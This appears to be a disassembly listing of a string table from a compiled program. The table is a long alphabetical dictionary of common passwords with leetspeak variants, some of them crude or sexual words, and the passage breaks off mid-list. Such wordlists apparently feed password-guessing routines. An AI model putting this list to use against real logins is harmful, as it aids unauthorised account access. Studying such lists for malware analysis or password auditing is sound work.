aHomer ; "homer" dd offset aHomework ; "homework" dd offset aHoney ; "honey" dd offset aHooker ; "hooker" dd offset aHooters ; "hooters" dd offset aHorny ; "horny" dd offset aHorrible ; "horrible" dd offset aHorror ; "horror" dd offset aHorse ; "horse" dd offset aHorus ; "horus" dd offset aHost ; "host" dd offset aHotdog ; "hotdog" dd offset aHotel ; "hotel" dd offset aHttp_0 ; "http" dd offset aHunt ; "hunt" dd offset aHunter ; "hunter" dd offset aHutchins ; "hutchins" dd offset aHydrogen ; "hydrogen" dd offset aHyper ; "hyper" dd offset aHypertxt ; "hypertxt" dd offset aIcecream ; "icecream" dd offset aIllumina ; "illumina" dd offset aImage ; "image" dd offset aImbrogli ; "imbrogli" dd offset aImmortal ; "immortal" dd offset aImperial ; "imperial" dd offset aInclude ; "include" dd offset aIndia ; "india" dd offset aIndian ; "indian" dd offset aIndiana ; "indiana" dd offset aIndians ; "indians" dd offset aIngres ; "ingres" dd offset aIngress ; "ingress" dd offset aIngrid ; "ingrid" dd offset aInna ; "inna" dd offset aInnocuou ; "innocuou" dd offset aInput ; "input" dd offset aInside ; "inside" dd offset aInteger ; "integer" dd offset aInvent ; "invent" dd offset aIrene ; "irene" dd offset aIrishman ; "irishman" dd offset aIsis ; "isis" dd offset aJackie ; "jackie" dd offset aJail ; "jail" dd offset aJane ; "jane" dd offset aJanet ; "janet" dd offset aJanice ; "janice" dd offset aJanie ; "janie" dd offset aJapan ; "japan" dd offset aJasmin ; "jasmin" dd offset aJava ; "java" dd offset aJazz ; "jazz" dd offset aJean ; "jean" dd offset aJeanne ; "jeanne" dd offset aJeff ; "jeff" dd offset aJenni ; "jenni" dd offset aJennifer ; "jennifer" dd offset aJenny ; "jenny" dd offset aJerry ; "jerry" dd offset aJerusale ; "jerusale" dd offset aJessica ; "jessica" dd offset aJester ; "jester" dd offset aJewelry ; "jewelry" dd offset aJill ; "jill" dd offset aJixian ; "jixian" dd offset aJoanne ; "joanne" dd offset aJody ; "jody" dd offset aJohn ; "john" dd offset aJohndoe ; "johndoe" dd offset aJohnny ; "johnny" dd offset aJoseph ; "joseph" dd offset aJoshua ; "joshua" dd offset aJournal ; "journal" dd offset aJoyce ; "joyce" dd offset aJudith ; "judith" dd offset aJudy ; "judy" dd offset aJuggle ; "juggle" dd offset aJuicy ; "juicy" dd offset aJulia ; "julia" dd offset aJulie ; "julie" dd offset aJuliet ; "juliet" dd offset aJune ; "june" dd offset aJupiter ; "jupiter" dd offset aKaka ; "kaka" dd offset aKaren ; "karen" dd offset aKarie ; "karie" dd offset aKarina ; "karina" dd offset aKatana ; "katana" dd offset aKate ; "kate" dd offset aKathleen ; "kathleen" dd offset aKathrine ; "kathrine" dd offset aKathy ; "kathy" dd offset aKatina ; "katina" dd offset aKatrina ; "katrina" dd offset aKelly ; "kelly" dd offset aKeri ; "keri" dd offset aKermit ; "kermit" dd offset aKernel ; "kernel" dd offset aKerri ; "kerri" dd offset aKerrie ; "kerrie" dd offset aKerry ; "kerry" dd offset aKevin ; "kevin" dd offset aKewl ; "kewl" dd offset aKeybord ; "keybord" dd offset aKeyin ; "keyin" dd offset aKeyword ; "keyword" dd offset aKids ; "kids" dd offset aKill ; "kill" dd offset aKillthem ; "killthem" dd offset aKilo ; "kilo" dd offset aKimberly ; "kimberly" dd offset aKing ; "king" dd offset aKirk ; "kirk" dd offset aKirkland ; "kirkland" dd offset aKiss ; "kiss" dd offset aKissmyas ; "kissmyas" dd offset aKitten ; "kitten" dd offset aKlingon ; "klingon" dd offset aKnife ; "knife" dd offset aKnight ; "knight" dd offset aKnightma ; "knightma" dd offset aKnown ; "known" dd offset aKrista ; "krista" dd offset aKristen ; "kristen" dd offset aKristi ; "kristi" dd offset aKristie ; "kristie" dd offset aKristin ; "kristin" dd offset aKristine ; "kristine" dd offset aKristy ; "kristy" dd offset aLadies ; "ladies" dd offset aLadle ; "ladle" dd offset aLakers ; "lakers" dd offset aLambda ; "lambda" dd offset aLaminati ; "laminati" dd offset aLana ; "lana" dd offset aLaptop ; "laptop" dd offset aLara ; "lara" dd offset aLarkin ; "larkin" dd offset aLarry ; "larry" dd offset aLaser ; "laser" dd offset aLaura ; "laura" dd offset aLava ; "lava" dd offset aLazarus ; "lazarus" dd offset aLazer ; "lazer" dd offset aLeah ; "leah" dd offset aLebesgue ; "lebesgue" dd offset aLeft ; "left" dd offset aLeftwing ; "leftwing" dd offset aLegal ; "legal" dd offset aLeland ; "leland" dd offset aLeroy ; "leroy" dd offset aLesbian ; "lesbian" dd offset aLeslie ; "leslie" dd offset aLetmein ; "letmein" dd offset aLewis ; "lewis" dd offset aLexluthe ; "lexluthe" dd offset aLiberal ; "liberal" dd offset aLibrary ; "library" dd offset aLick ; "lick" dd offset aLicker ; "licker" dd offset aLife ; "life" dd offset aLight ; "light" dd offset aLightsab ; "lightsab" dd offset aLima ; "lima" dd offset aLimbaugh ; "limbaugh" dd offset aLimited ; "limited" dd offset aLinda ; "linda" dd offset aLink ; "link" dd offset aLion ; "lion" dd offset aLips ; "lips" dd offset aLisa ; "lisa" dd offset aLisp ; "lisp" dd offset aLiteratu ; "literatu" dd offset aLive ; "live" dd offset aLoad ; "load" dd offset aLock ; "lock" dd offset aLockout ; "lockout" dd offset aLockword ; "lockword" dd offset aLogic ; "logic" dd offset aLoginwor ; "loginwor" dd offset aLogout ; "logout" dd offset aLois ; "lois" dd offset aLolopc ; "lolopc" dd offset aLoose ; "loose" dd offset aLore ; "lore" dd offset aLori ; "lori" dd offset aLorin ; "lorin" dd offset aLorraine ; "lorraine" dd offset aLoser ; "loser" dd offset aLouis ; "louis" dd offset aLovebug ; "lovebug" dd offset aLover ; "lover" dd offset aLuck ; "luck" dd offset aLucus ; "lucus" dd offset aLucy ; "lucy" dd offset aLude ; "lude" dd offset aLuke ; "luke" dd offset aLust ; "lust" dd offset aLynn ; "lynn" dd offset aLynne ; "lynne" dd offset aMachine ; "machine" dd offset aMacintos ; "macintos" dd offset aMack ; "mack" dd offset aMacro ; "macro" dd offset aMaggot ; "maggot" dd offset aMagic ; "magic" dd offset aMagnet ; "magnet" dd offset aMail ; "mail" dd offset aMaint ; "maint" dd offset aMalcolm ; "malcolm" dd offset aMalcom ; "malcom" dd offset aMana ; "mana" dd offset aManager ; "manager" dd offset aMara ; "mara" dd offset aMarci ; "marci" dd offset aMarcy ; "marcy" dd offset aMaria ; "maria" dd offset aMariens ; "mariens" dd offset aMarietta ; "marietta" dd offset aMarijuan ; "marijuan" dd offset aMarines ; "marines" dd offset aMark ; "mark" dd offset aMarkus ; "markus" dd offset aMarni ; "marni" dd offset aMarriage ; "marriage" dd offset aMars ; "mars" dd offset aMarty ; "marty" dd offset aMarvin ; "marvin" dd offset aMary ; "mary" dd offset aMason ; "mason" dd offset aMaster ; "master" dd offset aMath ; "math" dd offset aMaurice ; "maurice" dd offset aMeagan ; "meagan" dd offset aMegabyte ; "megabyte" dd offset aMegadeth ; "megadeth" dd offset aMegan ; "megan" dd offset aMelissa ; "melissa" dd offset aMellon ; "mellon" dd offset aMelrose ; "melrose" dd offset aMember ; "member" dd offset aMemory ; "memory" dd offset aMenace ; "menace" dd offset aMenu ; "menu" dd offset aMercury ; "mercury" dd offset aMerlin ; "merlin" dd offset aMetal ; "metal" dd offset aMetalhea ; "metalhea" dd offset aMetalica ; "metalica" dd offset aMets ; "mets" dd offset aMice ; "mice" dd offset aMichael ; "michael" dd offset aMichel ; "michel" dd offset aMichelan ; "michelan" dd offset aMichele ; "michele" dd offset aMichelle ; "michelle" dd offset aMickey ; "mickey" dd offset aMicro ; "micro" dd offset aMicrochi ; "microchi" dd offset aMicropro ; "micropro" dd offset aMicrosof ; "microsof" dd offset aMidieval ; "midieval" dd offset aMike ; "mike" dd offset aMine ; "mine" dd offset aMinimum ; "minimum" dd offset aMinsky ; "minsky" dd offset aMisfit ; "misfit" dd offset aMission ; "mission" dd offset aMkii ; "mkii" dd offset aMode ; "mode" dd offset aModem ; "modem" dd offset aMogul ; "mogul" dd offset aMoguls ; "moguls" dd offset aMonday ; "monday" dd offset aMonica ; "monica" dd offset aMoom ; "moom" dd offset aMoor ; "moor" dd offset aMoose ; "moose" dd offset aMore ; "more" dd offset aMorley ; "morley" dd offset aMorris ; "morris" dd offset aMortal ; "mortal" dd offset aMortalco ; "mortalco" dd offset aMortgage ; "mortgage" dd offset aMosaic ; "mosaic" dd offset aMountain ; "mountain" dd offset aMouse ; "mouse" dd offset aMove ; "move" dd offset aMovie ; "movie" dd offset aMovies ; "movies" dd offset aMozart ; "mozart" dd offset aMpeg ; "mpeg" dd offset aMsdos ; "msdos" dd offset aMuppets ; "muppets" dd offset aMutant ; "mutant" dd offset aNagel ; "nagel" dd offset aName ; "name" dd offset aNancy ; "nancy" dd offset aNapoleon ; "napoleon" dd offset aNasa ; "nasa" dd offset aNavy ; "navy" dd offset aNepenthe ; "nepenthe" dd offset aNeptune ; "neptune" dd offset aNess ; "ness" dd offset aNetscape ; "netscape" dd offset aNetwork_0 ; "network" dd offset aNewborn ; "newborn" dd offset aNews ; "news" dd offset aNewsgrou ; "newsgrou" dd offset aNewton ; "newton" dd offset aNewyork ; "newyork" dd offset aNext ; "next" dd offset aNice ; "nice" dd offset aNicole ; "nicole" dd offset aNicotine ; "nicotine" dd offset aNight ; "night" dd offset aNightmar ; "nightmar" dd offset aNintendo ; "nintendo" dd offset aNita ; "nita" dd offset aNnaacp ; "nnaacp" dd offset aNoble ; "noble" dd offset aNobody ; "nobody" dd offset aNode ; "node" dd offset aNoreen ; "noreen" dd offset aNotes ; "notes" dd offset aNoth ; "noth" dd offset aNova ; "nova" dd offset aNovel ; "novel" dd offset aNovember ; "november" dd offset aNoxious ; "noxious" dd offset aNuclear ; "nuclear" dd offset aNude ; "nude" dd offset aNuke ; "nuke" dd offset aNukem ; "nukem" dd offset aNull_1 ; "null" dd offset aNumber ; "number" dd offset aNutritio ; "nutritio" dd offset aNuts ; "nuts" dd offset aNyquist ; "nyquist" dd offset aObscurit ; "obscurit" dd offset aOceanogr ; "oceanogr" dd offset aOcelot ; "ocelot" dd offset aOffice ; "office" dd offset aOkay ; "okay" dd offset aOldage ; "oldage" dd offset aOlivetti ; "olivetti" dd offset aOlivia ; "olivia" dd offset aOmega ; "omega" dd offset aOpen ; "open" dd offset aOpening ; "opening" dd offset aOpenlock ; "openlock" dd offset aOpensesa ; "opensesa" dd offset aOperator ; "operator" dd offset aOrca ; "orca" dd offset aOrient ; "orient" dd offset aOrwell ; "orwell" dd offset aOscar ; "oscar" dd offset aOsiris ; "osiris" dd offset aOutdoors ; "outdoors" dd offset aOutlaw ; "outlaw" dd offset aOutput ; "output" dd offset aOutside ; "outside" dd offset aOxford ; "oxford" dd offset aPacific ; "pacific" dd offset aPackard ; "packard" dd offset aPacker ; "packer" dd offset aPainless ; "painless" dd offset aPaint ; "paint" dd offset aPakistan ; "pakistan" dd offset aPamela ; "pamela" dd offset aPapa ; "papa" dd offset aPaper ; "paper" dd offset aPapers ; "papers" dd offset aPascal ; "pascal" dd offset aPassphra ; "passphra" dd offset aPaste ; "paste" dd offset aPatricia ; "patricia" dd offset aPatriot ; "patriot" dd offset aPatty ; "patty" dd offset aPaula ; "paula" dd offset aPeanuts ; "peanuts" dd offset aPecker ; "pecker" dd offset aPencil ; "pencil" dd offset aPenelope ; "penelope" dd offset aPenguin ; "penguin" dd offset aPenis ; "penis" dd offset aPenname ; "penname" dd offset aPentagon ; "pentagon" dd offset aPentagra ; "pentagra" dd offset aPenthous ; "penthous" dd offset aPentium ; "pentium" dd offset aPeoria ; "peoria" dd offset aPepper ; "pepper" dd offset aPercolat ; "percolat" dd offset aPerfect ; "perfect" dd offset aPermit ; "permit" dd offset aPersimmo ; "persimmo" dd offset aPersona ; "persona" dd offset aPervert ; "pervert" dd offset aPete ; "pete" dd offset aPeter ; "peter" dd offset aPhil ; "phil" dd offset aPhilip ; "philip" dd offset aPhoenix ; "phoenix" dd offset aPhone ; "phone" dd offset aPhoton ; "photon" dd offset aPhrack ; "phrack" dd offset aPhrase ; "phrase" dd offset aPhreak ; "phreak" dd offset aPhuck ; "phuck" dd offset aPick ; "pick" dd offset aPierre ; "pierre" dd offset aPimp ; "pimp" dd offset aPinname ; "pinname" dd offset aPiss ; "piss" dd offset aPizza ; "pizza" dd offset aPlane ; "plane" dd offset aPlayboy ; "playboy" dd offset aPlover ; "plover" dd offset aPluto ; "pluto" dd offset aPlymouth ; "plymouth" dd offset aPoetry ; "poetry" dd offset aPolice ; "police" dd offset aPolly ; "polly" dd offset aPolynomi ; "polynomi" dd offset aPonderin ; "ponderin" dd offset aPoop ; "poop" dd offset aPoor ; "poor" dd offset aPork ; "pork" dd offset aPorn ; "porn" dd offset aPorno ; "porno" dd offset aPorsche ; "porsche" dd offset aPost ; "post" dd offset aPoster ; "poster" dd offset aPower ; "power" dd offset aPraise ; "praise" dd offset aPrecious ; "precious" dd offset aPrelude ; "prelude" dd offset aPresto ; "presto" dd offset aPrince ; "prince" dd offset aPrinceto ; "princeto" dd offset aPrinter ; "printer" dd offset aPriv ; "priv" dd offset aPrivate ; "private" dd offset aPrivs ; "privs" dd offset aProceed ; "proceed" dd offset aProcesso ; "processo" dd offset aProfesso ; "professo" dd offset aProfile ; "profile" dd offset aProgram ; "program" dd offset aPrompt ; "prompt" dd offset aProtect ; "protect" dd offset aProtozoa ; "protozoa" dd offset aPsycho ; "psycho" dd offset aPsychopa ; "psychopa" dd offset aPublic ; "public" dd offset aPuck ; "puck" dd offset aPuke ; "puke" dd offset aPumpkin ; "pumpkin" dd offset aPuneet ; "puneet" dd offset aPunisher ; "punisher" dd offset aPunk ; "punk" dd offset aPuppet ; "puppet" dd offset aPussy ; "pussy" dd offset aQuebec ; "quebec" dd offset aQwert ; "qwert" dd offset aQwerty ; "qwerty" dd offset aRabbit ; "rabbit" dd offset aRachel ; "rachel" dd offset aRachelle ; "rachelle" dd offset aRachmani ; "rachmani" dd offset aRaid ; "raid" dd offset aRain ; "rain" dd offset aRainbow ; "rainbow" dd offset aRaindrop ; "raindrop" dd offset aRaleigh ; "raleigh" dd offset aRandom ; "random" dd offset aRape ; "rape" dd offset aRascal ; "rascal" dd offset aRazor ; "razor" dd offset aReagan ; "reagan" dd offset aReality ; "reality" dd offset aReally ; "really" dd offset aReam ; "ream" dd offset aReaper ; "reaper" dd offset aRebal ; "rebal" dd offset aRebecca ; "rebecca" dd offset aRebel ; "rebel" dd offset aRecord ; "record" dd offset aReddawn ; "reddawn" dd offset aRedhead ; "redhead" dd offset aReferenc ; "referenc" dd offset aRegional ; "regional" dd offset aRelease ; "release" dd offset aRemote ; "remote" dd offset aRenee ; "renee" dd offset aReno ; "reno" dd offset aRent ; "rent" dd offset aReport ; "report" dd offset aRepublic ; "republic" dd offset aResistan ; "resistan" dd offset aReveal ; "reveal" dd offset aRhino ; "rhino" dd offset aRich ; "rich" dd offset aRick ; "rick" dd offset aRiffraff ; "riffraff" dd offset aRight ; "right" dd offset aRightwin ; "rightwin" dd offset aRing ; "ring" dd offset aRiot ; "riot" dd offset aRipple ; "ripple" dd offset aRisc ; "risc" dd offset aRoach ; "roach" dd offset aRobert ; "robert" dd offset aRobin ; "robin" dd offset aRobot ; "robot" dd offset aRobotics ; "robotics" dd offset aRobyn ; "robyn" dd offset aRochelle ; "rochelle" dd offset aRocheste ; "rocheste" dd offset aRock ; "rock" dd offset aRocky ; "rocky" dd offset aRockyhor ; "rockyhor" dd offset aRodent ; "rodent" dd offset aRolex ; "rolex" dd offset aRomano ; "romano" dd offset aRomeo ; "romeo" dd offset aRomulan ; "romulan" dd offset aRonald ; "ronald" dd offset aRose ; "rose" dd offset aRosebud ; "rosebud" dd offset aRosemary ; "rosemary" dd offset aRoses ; "roses" dd offset aRough ; "rough" dd offset aRubber ; "rubber" dd offset aRuben ; "ruben" dd offset aRuby ; "ruby" dd offset aRude ; "rude" dd offset aRules ; "rules" dd offset aRunning ; "running" dd offset aRush ; "rush" dd offset aRuth ; "ruth" dd offset aSafe ; "safe" dd offset aSalami ; "salami" dd offset aSale ; "sale" dd offset aSalt ; "salt" dd offset aSamantha ; "samantha" dd offset aSample ; "sample" dd offset aSandra ; "sandra" dd offset aSandy ; "sandy" dd offset aSara ; "sara" dd offset aSarah ; "sarah" dd offset aSaturday ; "saturday" dd offset aSaturn ; "saturn" dd offset aSaxon ; "saxon" dd offset aScamper ; "scamper" dd offset aScheme ; "scheme" dd offset aSchool ; "school" dd offset aSchoolsucks ; "schoolsucks" dd offset aScifi ; "scifi" dd offset aScorpion ; "scorpion" dd offset aScott ; "scott" dd offset aScotty ; "scotty" dd offset aScout ; "scout" dd offset aSearch ; "search" dd offset aSecurity ; "security" dd offset aSeed ; "seed" dd offset aSega ; "sega" dd offset aSensor ; "sensor" dd offset aSentinel ; "sentinel" dd offset aSentry ; "sentry" dd offset aSerenity ; "serenity" dd offset aSerial_0 ; "serial" dd offset aService ; "service" dd offset aSesame ; "sesame" dd offset aSexy ; "sexy" dd offset aShannon ; "shannon" dd offset aSharc ; "sharc" dd offset aShark ; "shark" dd offset aSharks ; "sharks" dd offset aSharon ; "sharon" dd offset aSheffiel ; "sheffiel" dd offset aSheldon ; "sheldon" dd offset aShell ; "shell" dd offset aSherri ; "sherri" dd offset aShift ; "shift" dd offset aShirley ; "shirley" dd offset aShit ; "shit" dd offset aShitpot ; "shitpot" dd offset aShiva ; "shiva" dd offset aShivers ; "shivers" dd offset aShort ; "short" dd offset aShuttle ; "shuttle" dd offset aSick ; "sick" dd offset aSierra ; "sierra" dd offset aSignatur ; "signatur" dd offset aSilver ; "silver" dd offset aSimcity ; "simcity" dd offset aSimon ; "simon" dd offset aSimple ; "simple" dd offset aSimpsons ; "simpsons" dd offset aSimulati ; "simulati" dd offset aSinger ; "singer" dd offset aSingle ; "single" dd offset aSite ; "site" dd offset aSkull ; "skull" dd offset aSlave ; "slave" dd offset aSlick ; "slick" dd offset aSliders ; "sliders" dd offset aSlow ; "slow" dd offset aSlut ; "slut" dd offset aSmall ; "small" dd offset aSmart ; "smart" dd offset aSmile ; "smile" dd offset aSmiles ; "smiles" dd offset aSmooch ; "smooch" dd offset aSmother ; "smother" dd offset aSmtp ; "smtp" dd offset aSmut ; "smut" dd offset aSnach ; "snach" dd offset aSnafu ; "snafu" dd offset aSnake ; "snake" dd offset aSnatch ; "snatch" dd offset aSnoopy ; "snoopy" dd offset aSoap ; "soap" dd offset aSocial ; "social" dd offset aSocrates ; "socrates" dd offset aSodomy ; "sodomy" dd offset aSoft ; "soft" dd offset aSoftware ; "software" dd offset aSomebody ; "somebody" dd offset aSondra ; "sondra" dd offset aSonia ; "sonia" dd offset aSonic ; "sonic" dd offset aSonya ; "sonya" dd offset aSossina ; "sossina" dd offset aSource ; "source" dd offset aSouth ; "south" dd offset aSpaceshi ; "spaceshi" dd offset aSparrows ; "sparrows" dd offset aSpear ; "spear" dd offset aSpell ; "spell" dd offset aSpice ; "spice" dd offset aSpider ; "spider" dd offset aSpiderma ; "spiderma" dd offset aSpit ; "spit" dd offset aSpred ; "spred" dd offset aSpring ; "spring" dd offset aSpringer ; "springer" dd offset aSpunk ; "spunk" dd offset aSquires ; "squires" dd offset aSr71 ; "sr71" dd offset aStacey ; "stacey" dd offset aStaci ; "staci" dd offset aStacie ; "stacie" dd offset aStacy ; "stacy" dd offset aStar ; "star" dd offset aStarship ; "starship" dd offset aStart ; "start" dd offset aStartrek ; "startrek" dd offset aStartup ; "startup" dd offset aStarwars ; "starwars" dd offset aSteak ; "steak" dd offset aSteal ; "steal" dd offset aSteel ; "steel" dd offset aSteph ; "steph" dd offset aStephani ; "stephani" dd offset aStereo ; "stereo" dd offset aSteve ; "steve" dd offset aStoneage ; "stoneage" dd offset aStoned ; "stoned" dd offset aStones ; "stones" dd offset aStrange ; "strange" dd offset aStrangle ; "strangle" dd offset aStratfor ; "stratfor" dd offset aStreetfi ; "streetfi" dd offset aString ; "string" dd offset aStrip ; "strip" dd offset aStudent ; "student" dd offset aStuttgar ; "stuttgar" dd offset aSubscrib ; "subscrib" dd offset aSubway ; "subway" dd offset aSuccess ; "success" dd offset aSuck ; "suck" dd offset aSuckmydi ; "suckmydi" dd offset aSucks ; "sucks" dd offset aSummer ; "summer" dd offset aSunday ; "sunday" dd offset aSuperman ; "superman" dd offset aSuperson ; "superson" dd offset aSupersta ; "supersta" dd offset aSuperuse ; "superuse" dd offset aSupervis ; "supervis" dd offset aSupport ; "support" dd offset aSupporte ; "supporte" dd offset aSurfer ; "surfer" dd offset aSurfing ; "surfing" dd offset aSusan ; "susan" dd offset aSusanne ; "susanne" dd offset aSusie ; "susie" dd offset aSuzanne ; "suzanne" dd offset aSuzie ; "suzie" dd offset aSwearer ; "swearer" dd offset aSweat ; "sweat" dd offset aSwitch ; "switch" dd offset aSword ; "sword" dd offset aSybil ; "sybil" dd offset aSymmetry ; "symmetry" dd offset aSysadmin ; "sysadmin" dd offset aSysop ; "sysop" dd offset aTabasco ; "tabasco" dd offset aTalk ; "talk" dd offset aTall ; "tall" dd offset aTamara ; "tamara" dd offset aTami ; "tami" dd offset aTamie ; "tamie" dd offset aTammy ; "tammy" dd offset aTangerin ; "tangerin" dd offset aTango ; "tango" dd offset aTape ; "tape" dd offset aTara ; "tara" dd offset aTarget ; "target" dd offset aTarragon ; "tarragon" dd offset aTaylor ; "taylor" dd offset aTeacher ; "teacher" dd offset aTeam ; "team" dd offset aTeapot ; "teapot" dd offset aTears ; "tears" dd offset aTech ; "tech" dd offset aTeen ; "teen" dd offset aTeenage ; "teenage" dd offset aTelephon ; "telephon" dd offset aTelnet ; "telnet" dd offset aTemptati ; "temptati" dd offset aTennis ; "tennis" dd offset aTera ; "tera" dd offset aTerminal ; "terminal" dd offset aTerminat ; "terminat" dd offset aTess ; "tess" dd offset aTetris ; "tetris" dd offset aText ; "text" dd offset aThailand ; "thailand" dd offset aTheresa ; "theresa" dd offset aThin ; "thin" dd offset aThursday ; "thursday" dd offset aTiffany ; "tiffany" dd offset aTiger ; "tiger" dd offset aTime ; "time" dd offset aTina ; "tina" dd offset aTits ; "tits" dd offset aToad ; "toad" dd offset aToggle ; "toggle" dd offset aToken ; "token" dd offset aTokenrin ; "tokenrin" dd offset aTomato ; "tomato" dd offset aTopograp ; "topograp" dd offset aTortoise ; "tortoise" dd offset aToxic ; "toxic" dd offset aToyota ; "toyota" dd offset aTraci ; "traci" dd offset aTracie ; "tracie" dd offset aTracy ; "tracy" dd offset aTrails ; "trails" dd offset aTransfer ; "transfer" dd offset aTrap ; "trap" dd offset aTrapdoor ; "trapdoor" dd offset aTree ; "tree" dd offset aTrek ; "trek" dd offset aTrisha ; "trisha" dd offset aTrivial ; "trivial" dd offset aTrojan ; "trojan" dd offset aTrombone ; "trombone" dd offset aTron ; "tron" dd offset aTrue ; "true" dd offset aTruth ; "truth" dd offset aTubas ; "tubas" dd offset aTuesday ; "tuesday" dd offset aTurn ; "turn" dd offset aTuttle ; "tuttle" dd offset aUgly ; "ugly" dd offset aUmesh ; "umesh" dd offset aUncle ; "uncle" dd offset aUndo ; "undo" dd offset aUnhappy ; "unhappy" dd offset aUnicorn ; "unicorn" dd offset aUniform ; "uniform" dd offset aUniversa ; "universa" dd offset aUniverse ; "universe" dd offset aUniversi ; "universi" dd offset aUnknown_0 ; "unknown" dd offset aUnlock ; "unlock" dd offset aUpload ; "upload" dd offset aUranus ; "uranus" dd offset aUrchin ; "urchin" dd offset aUrsula ; "ursula" dd offset aUsenet ; "usenet" dd offset aUsermane ; "usermane" dd offset aUsername ; "username" dd offset aUsmc ; "usmc" dd offset aUtil ; "util" dd offset aUtility ; "utility" dd offset aUucp ; "uucp" dd offset aVagina ; "vagina" dd offset aValerie ; "valerie" dd offset aVampire ; "vampire" dd offset aVasant ; "vasant" dd offset aVenus ; "venus" dd offset aVeronica ; "veronica" dd offset aVertigo ; "vertigo" dd offset aVicky ; "vicky" dd offset aVictor ; "victor" dd offset aVideo ; "video" dd offset aVideogam ; "videogam" dd offset aVillage ; "village" dd offset aVirgin ; "virgin" dd offset aVirginia ; "virginia" dd offset aVirus ; "virus" dd offset aVisitor ; "visitor" dd offset aVisual ; "visual" dd offset aVisualba ; "visualba" dd offset aVodka ; "vodka" dd offset aWaco ; "waco" dd offset aWard ; "ward" dd offset aWarez ; "warez" dd offset aWarfare ; "warfare" dd offset aWargames ; "wargames" dd offset aWarp ; "warp" dd offset aWarren ; "warren" dd offset aWasp ; "wasp" dd offset aWatchwor ; "watchwor" dd offset aWater ; "water" dd offset aWave ; "wave" dd offset aWebpage ; "webpage" dd offset aWednesda ; "wednesda" dd offset aWeed ; "weed" dd offset aWeenie ; "weenie" dd offset aWell ; "well" dd offset aWendi ; "wendi" dd offset aWendy ; "wendy" dd offset aWerewolf ; "werewolf" dd offset aWest ; "west" dd offset aWestern ; "western" dd offset aWhatever ; "whatever" dd offset aWhatnot ; "whatnot" dd offset aWhisky ; "whisky" dd offset aWhite ; "white" dd offset aWhiting ; "whiting" dd offset aWhitney ; "whitney" dd offset aWholesal ; "wholesal" dd offset aWhore ; "whore" dd offset aWill ; "will" dd offset aWilliam ; "william" dd offset aWilliams ; "williams" dd offset aWillie ; "willie" dd offset aWilma ; "wilma" dd offset aWindows ; "windows" dd offset aWine ; "wine" dd offset aWing ; "wing" dd offset aWinston ; "winston" dd offset aWired ; "wired" dd offset aWisconsi ; "wisconsi" dd offset aWiseass ; "wiseass" dd offset aWithin ; "within" dd offset aWizard ; "wizard" dd offset aWolf ; "wolf" dd offset aWolverin ; "wolverin" dd offset aWoman ; "woman" dd offset aWombat ; "wombat" dd offset aWomen ; "women" dd offset aWood ; "wood" dd offset aWoodwind ; "woodwind" dd offset aWord ; "word" dd offset aWordperf ; "wordperf" dd offset aWorf ; "worf" dd offset aWork ; "work" dd offset aWorm ; "worm" dd offset aWormwood ; "wormwood" dd offset aWwii ; "wwii" dd offset aWyoming ; "wyoming" dd offset aXena ; "xena" dd offset aXfer ; "xfer" dd offset aXman ; "xman" dd offset aXmen ; "xmen" dd offset aXmodem ; "xmodem" dd offset aXray ; "xray" dd offset aXyzzy ; "xyzzy" dd offset aYaco ; "yaco" dd offset aYang ; "yang" dd offset aYankee ; "yankee" dd offset aYellow ; "yellow" dd offset aYellowst ; "yellowst" dd offset aYolanda ; "yolanda" dd offset aYosemite ; "yosemite" dd offset aYoung ; "young" dd offset aZebra ; "zebra" dd offset aZeitgeis ; "zeitgeis" dd offset aZiggy ; "ziggy" dd offset aZimmerma ; "zimmerma" dd offset aZmodem ; "zmodem" dd offset aZombie ; "zombie" dd offset aZulu ; "zulu" dd offset a00000000 ; "00000000" dd offset aTester ; "tester" dd offset aTestin ; "testin" dd offset aRoss ; "Ross" dd offset aRosco ; "Rosco" dd offset aRoscop ; "RoscoP" dd offset aRoscopcoltrane ; "RoscoPColtrane" dd offset aLol ; "lol" dd offset aD00d ; "d00d" dd offset aDudette ; "dudette" dd offset aDud3 ; "dud3" dd offset aAl3x ; "Al3x" dd offset aAlexander ; "Alexander" dd offset aDonaldduck ; "donaldduck" dd offset aWileecoyote ; "wileecoyote" dd offset aWindowz ; "windowz" dd offset aWindoze ; "windoze" dd offset aWindose ; "windose" dd offset aBilly ; "billy" dd offset aM_1 ; "M$" dd offset aMs ; "MS" dd offset aWindowsxp ; "WindowsXP" dd offset aWindows2k ; "windows2k" dd offset aWindowsme ; "windowsME" dd offset aWindows98 ; "windows98" dd offset aWindows95 ; "windows95" dd offset aWindozexp ; "windozexp" dd offset aWindoze2k ; "windoze2k" dd offset aWindozeme ; "windozeME" dd offset aWindoze98 ; "windoze98" dd offset aWindoze95 ; "windoze95" dd offset aWh0r3 ; "wh0r3" dd offset aHo ; "ho" dd offset aWh0re ; "wh0re" dd offset aHax ; "hax" dd offset aHaxing ; "haxing" dd offset aH4x1ng ; "h4x1ng" dd offset aH4x0r1ng ; "h4x0r1ng" dd offset aH4x0ring ; "h4x0ring" dd offset aAda ; "ada" dd offset aAlbatross ; "albatross" dd offset aAlf ; "alf" dd offset aAma ; "ama" dd offset aAmorphous ; "amorphous" dd offset aAmy ; "amy" dd offset aAndromache ; "andromache" dd offset aAnn ; "ann" dd offset aAnthropogenic ; "anthropogenic" dd offset aAsd ; "asd" dd offset aAsm ; "asm" dd offset aAtmosphere ; "atmosphere" dd offset aBeethoven ; "beethoven" dd offset aBicameral ; "bicameral" dd offset aBob ; "bob" dd offset aBsd ; "bsd" dd offset aCad ; "cad" dd offset aCampanile ; "campanile" dd offset aCat ; "cat" dd offset aCatherine ; "catherine" dd offset aChemistry ; "chemistry" dd offset aChristina ; "christina" dd offset aChristine ; "christine" dd offset aCommrades ; "commrades" dd offset aCornelius ; "cornelius" dd offset aDeb ; "deb" dd offset aDesperate ; "desperate" dd offset aDiscovery ; "discovery" dd offset aDog ; "dog" dd offset aDos ; "dos" dd offset aEdinburgh ; "edinburgh" dd offset aEiderdown ; "eiderdown" dd offset aElizabeth ; "elizabeth" dd offset aEnterprise ; "enterprise" dd offset aEstablish ; "establish" dd offset aExtension ; "extension" dd offset aFoolproof ; "foolproof" dd offset aForesight ; "foresight" dd offset aFun ; "fun" dd offset aGnu ; "gnu" dd offset aHal ; "hal" dd offset aHappening ; "happening" dd offset aIbm ; "ibm" dd offset aImbroglio ; "imbroglio" dd offset aInnocuous ; "innocuous" dd offset aJen ; "jen" dd offset aJoy ; "joy" dd offset aKey ; "key" dd offset aKim ; "kim" dd offset aLamination ; "lamination" dd offset aLee ; "lee" dd offset aLiz ; "liz" dd offset aMacintosh ; "macintosh" dd offset aMgr ; "mgr" dd offset aMit ; "mit" dd offset aNet ; "net" dd offset aNew 